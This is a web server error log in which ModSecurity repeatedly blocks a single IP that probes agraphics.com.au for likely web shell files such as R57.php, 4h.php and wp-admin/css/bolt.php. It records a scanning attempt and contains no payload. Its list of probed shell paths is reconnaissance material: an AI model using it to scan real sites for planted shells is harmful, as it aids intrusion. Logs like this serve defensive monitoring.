[Fri Feb 27 08:13:17.024451 2026] [:error] [pid 53573:tid 53621] [client 51.12.82.80:22599] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw2.php"] [unique_id "aaDhnRPJaCbFB2BWKcf6pAAAAJE"]
[Fri Feb 27 08:13:17.600663 2026] [:error] [pid 53659:tid 53661] [client 51.12.82.80:19403] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw2.php"] [unique_id "aaDhnSqRZk6OYWF729REAgAAAUA"]
[Fri Feb 27 08:13:18.127794 2026] [:error] [pid 53573:tid 53604] [client 51.12.82.80:24027] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw2.php"] [unique_id "aaDhnhPJaCbFB2BWKcf6qQAAAIA"]
[Fri Feb 27 08:13:18.652634 2026] [:error] [pid 53574:tid 53640] [client 51.12.82.80:22608] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw2.php"] [unique_id "aaDhngnAgABR7uoOZTvl5QAAAMk"]
[Fri Feb 27 08:13:19.229324 2026] [:error] [pid 53574:tid 53637] [client 51.12.82.80:30697] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blackmini.php"] [unique_id "aaDhnwnAgABR7uoOZTvl6AAAAMY"]
[Fri Feb 27 08:13:19.819639 2026] [:error] [pid 53572:tid 53584] [client 51.12.82.80:4880] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blackmini.php"] [unique_id "aaDhnzIt6h9cL2-penYtCwAAAAc"]
[Fri Feb 27 08:13:20.394876 2026] [:error] [pid 53573:tid 53618] [client 51.12.82.80:17488] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blackmini.php"] [unique_id "aaDhoBPJaCbFB2BWKcf6sgAAAI4"]
[Fri Feb 27 08:13:20.922263 2026] [:error] [pid 53572:tid 53596] [client 51.12.82.80:11025] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blackmini.php"] [unique_id "aaDhoDIt6h9cL2-penYtEwAAABM"]
[Fri Feb 27 08:13:21.486923 2026] [:error] [pid 53659:tid 53672] [client 51.12.82.80:10578] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aaDhoSqRZk6OYWF729RECgAAAUs"]
[Fri Feb 27 08:13:22.024513 2026] [:error] [pid 53573:tid 53616] [client 51.12.82.80:2583] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aaDhohPJaCbFB2BWKcf6tQAAAIw"]
[Fri Feb 27 08:13:22.590201 2026] [:error] [pid 53573:tid 53624] [client 51.12.82.80:35155] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aaDhohPJaCbFB2BWKcf6ugAAAJQ"]
[Fri Feb 27 08:13:23.174632 2026] [:error] [pid 53574:tid 53650] [client 51.12.82.80:24128] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "aaDhownAgABR7uoOZTvl7wAAANM"]
[Fri Feb 27 08:13:23.713927 2026] [:error] [pid 53659:tid 53675] [client 51.12.82.80:27541] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/F19.php"] [unique_id "aaDhoyqRZk6OYWF729REEgAAAU4"]
[Fri Feb 27 08:13:24.259169 2026] [:error] [pid 53573:tid 53626] [client 51.12.82.80:27557] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/F19.php"] [unique_id "aaDhpBPJaCbFB2BWKcf6vgAAAJY"]
[Fri Feb 27 08:13:24.808035 2026] [:error] [pid 53574:tid 53638] [client 51.12.82.80:31300] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/F19.php"] [unique_id "aaDhpAnAgABR7uoOZTvl8QAAAMc"]
[Fri Feb 27 08:13:25.331338 2026] [:error] [pid 53574:tid 53632] [client 51.12.82.80:24164] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/F19.php"] [unique_id "aaDhpQnAgABR7uoOZTvl9QAAAME"]
[Fri Feb 27 08:13:25.860195 2026] [:error] [pid 53659:tid 53676] [client 51.12.82.80:35148] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/F1.php"] [unique_id "aaDhpSqRZk6OYWF729REGAAAAU8"]
[Fri Feb 27 08:13:26.391724 2026] [:error] [pid 53659:tid 53681] [client 51.12.82.80:11070] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/F1.php"] [unique_id "aaDhpiqRZk6OYWF729REGwAAAVQ"]
[Fri Feb 27 08:13:26.936773 2026] [:error] [pid 53572:tid 53592] [client 51.12.82.80:9187] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/F1.php"] [unique_id "aaDhpjIt6h9cL2-penYtJQAAAA8"]
[Fri Feb 27 08:13:27.471224 2026] [:error] [pid 53574:tid 53649] [client 51.12.82.80:22416] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/F1.php"] [unique_id "aaDhpwnAgABR7uoOZTvl-gAAANI"]
[Fri Feb 27 08:13:28.013926 2026] [:error] [pid 53659:tid 53668] [client 51.12.82.80:24189] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aaDhqCqRZk6OYWF729REIwAAAUc"]
[Fri Feb 27 08:13:28.542801 2026] [:error] [pid 53659:tid 53677] [client 51.12.82.80:27569] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aaDhqCqRZk6OYWF729REKQAAAVA"]
[Fri Feb 27 08:13:29.075801 2026] [:error] [pid 53573:tid 53621] [client 51.12.82.80:10838] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aaDhqRPJaCbFB2BWKcf6xAAAAJE"]
[Fri Feb 27 08:13:29.604352 2026] [:error] [pid 53573:tid 53623] [client 51.12.82.80:9176] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fff.php"] [unique_id "aaDhqRPJaCbFB2BWKcf6xgAAAJM"]
[Fri Feb 27 08:13:30.149400 2026] [:error] [pid 53572:tid 53590] [client 51.12.82.80:10840] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/R57.php"] [unique_id "aaDhqjIt6h9cL2-penYtKwAAAA0"]
[Fri Feb 27 08:13:30.688471 2026] [:error] [pid 53572:tid 53589] [client 51.12.82.80:24016] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/R57.php"] [unique_id "aaDhqjIt6h9cL2-penYtMAAAAAw"]
[Fri Feb 27 08:13:31.225454 2026] [:error] [pid 53659:tid 53668] [client 51.12.82.80:10861] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/R57.php"] [unique_id "aaDhqyqRZk6OYWF729RESAAAAUc"]
[Fri Feb 27 08:13:31.771627 2026] [:error] [pid 53659:tid 53675] [client 51.12.82.80:4866] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/R57.php"] [unique_id "aaDhqyqRZk6OYWF729RESwAAAU4"]
[Fri Feb 27 08:13:32.325323 2026] [:error] [pid 53659:tid 53682] [client 51.12.82.80:33938] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4h.php"] [unique_id "aaDhrCqRZk6OYWF729RETQAAAVU"]
[Fri Feb 27 08:13:32.853743 2026] [:error] [pid 53659:tid 53677] [client 51.12.82.80:8215] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4h.php"] [unique_id "aaDhrCqRZk6OYWF729RETgAAAVA"]
[Fri Feb 27 08:13:33.385564 2026] [:error] [pid 53659:tid 53672] [client 51.12.82.80:33973] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4h.php"] [unique_id "aaDhrSqRZk6OYWF729REUgAAAUs"]
[Fri Feb 27 08:13:33.932661 2026] [:error] [pid 53659:tid 53678] [client 51.12.82.80:36406] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4h.php"] [unique_id "aaDhrSqRZk6OYWF729REWAAAAVE"]
[Fri Feb 27 08:13:34.464565 2026] [:error] [pid 53572:tid 53587] [client 51.12.82.80:22618] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yussef.php"] [unique_id "aaDhrjIt6h9cL2-penYtNwAAAAo"]
[Fri Feb 27 08:13:34.994962 2026] [:error] [pid 53659:tid 53675] [client 51.12.82.80:10817] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yussef.php"] [unique_id "aaDhriqRZk6OYWF729REYAAAAU4"]
[Fri Feb 27 08:13:35.538337 2026] [:error] [pid 53659:tid 53672] [client 51.12.82.80:24138] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yussef.php"] [unique_id "aaDhryqRZk6OYWF729REZAAAAUs"]
[Fri Feb 27 08:13:36.071210 2026] [:error] [pid 53573:tid 53627] [client 51.12.82.80:24051] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yussef.php"] [unique_id "aaDhsBPJaCbFB2BWKcf6zgAAAJc"]
[Fri Feb 27 08:13:36.641785 2026] [:error] [pid 53574:tid 53632] [client 51.12.82.80:24141] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aaDhsAnAgABR7uoOZTvmFgAAAME"]
[Fri Feb 27 08:13:37.198756 2026] [:error] [pid 53659:tid 53663] [client 51.12.82.80:24151] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aaDhsSqRZk6OYWF729REawAAAUI"]
[Fri Feb 27 08:13:37.724962 2026] [:error] [pid 53574:tid 53631] [client 51.12.82.80:36386] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aaDhsQnAgABR7uoOZTvmHQAAAMA"]
[Fri Feb 27 08:13:38.254353 2026] [:error] [pid 53574:tid 53651] [client 51.12.82.80:4915] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "aaDhsgnAgABR7uoOZTvmIAAAANQ"]
[Fri Feb 27 08:13:38.781808 2026] [:error] [pid 53659:tid 53669] [client 51.12.82.80:22239] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "aaDhsiqRZk6OYWF729REbwAAAUg"]
[Fri Feb 27 08:13:39.360663 2026] [proxy_fcgi:error] [pid 53573:tid 53624] [client 51.12.82.80:10853] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:13:39.633455 2026] [proxy_fcgi:error] [pid 53573:tid 53604] [client 51.12.82.80:10853] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:13:39.900750 2026] [proxy_fcgi:error] [pid 53573:tid 53616] [client 51.12.82.80:10853] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:13:40.174144 2026] [proxy_fcgi:error] [pid 53573:tid 53625] [client 51.12.82.80:10853] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:13:40.440980 2026] [proxy_fcgi:error] [pid 53573:tid 53607] [client 51.12.82.80:10853] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:13:40.713732 2026] [proxy_fcgi:error] [pid 53573:tid 53623] [client 51.12.82.80:10853] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:13:40.979191 2026] [proxy_fcgi:error] [pid 53573:tid 53606] [client 51.12.82.80:10853] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:13:41.578322 2026] [proxy_fcgi:error] [pid 53573:tid 53610] [client 51.12.82.80:10853] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:13:41.843665 2026] [proxy_fcgi:error] [pid 53573:tid 53609] [client 51.12.82.80:10853] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:13:42.110046 2026] [proxy_fcgi:error] [pid 53573:tid 53626] [client 51.12.82.80:10853] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 08:13:42.373666 2026] [:error] [pid 53573:tid 53628] [client 51.12.82.80:10853] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "aaDhthPJaCbFB2BWKcf63AAAAJg"]
[Fri Feb 27 08:13:42.922517 2026] [:error] [pid 53572:tid 53581] [client 51.12.82.80:22601] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "aaDhtjIt6h9cL2-penYtSgAAAAQ"]
[Fri Feb 27 08:13:43.459942 2026] [:error] [pid 53659:tid 53672] [client 51.12.82.80:25413] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "aaDhtyqRZk6OYWF729REeAAAAUs"]
[Fri Feb 27 08:13:43.985871 2026] [:error] [pid 53572:tid 53582] [client 51.12.82.80:4890] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file59.php"] [unique_id "aaDhtzIt6h9cL2-penYtUQAAAAU"]
[Fri Feb 27 08:13:44.514719 2026] [:error] [pid 53572:tid 53583] [client 51.12.82.80:33982] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaDhuDIt6h9cL2-penYtUwAAAAY"]
[Fri Feb 27 08:13:45.040050 2026] [:error] [pid 53659:tid 53670] [client 51.12.82.80:10510] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaDhuSqRZk6OYWF729REewAAAUk"]
[Fri Feb 27 08:13:45.569068 2026] [:error] [pid 53659:tid 53677] [client 51.12.82.80:9832] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaDhuSqRZk6OYWF729REfgAAAVA"]
[Fri Feb 27 08:13:46.127990 2026] [:error] [pid 53659:tid 53685] [client 51.12.82.80:9849] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaDhuiqRZk6OYWF729REggAAAVg"]
[Fri Feb 27 08:13:46.688764 2026] [:error] [pid 53659:tid 53674] [client 51.12.82.80:9853] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aaDhuiqRZk6OYWF729REhQAAAU0"]
[Fri Feb 27 08:13:47.218205 2026] [:error] [pid 53659:tid 53666] [client 51.12.82.80:2159] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aaDhuyqRZk6OYWF729REiQAAAUU"]
[Fri Feb 27 08:13:47.747922 2026] [:error] [pid 53572:tid 53577] [client 51.12.82.80:9200] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aaDhuzIt6h9cL2-penYtXAAAAAA"]
[Fri Feb 27 08:13:48.311857 2026] [:error] [pid 53659:tid 53675] [client 51.12.82.80:20253] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aaDhvCqRZk6OYWF729REkgAAAU4"]
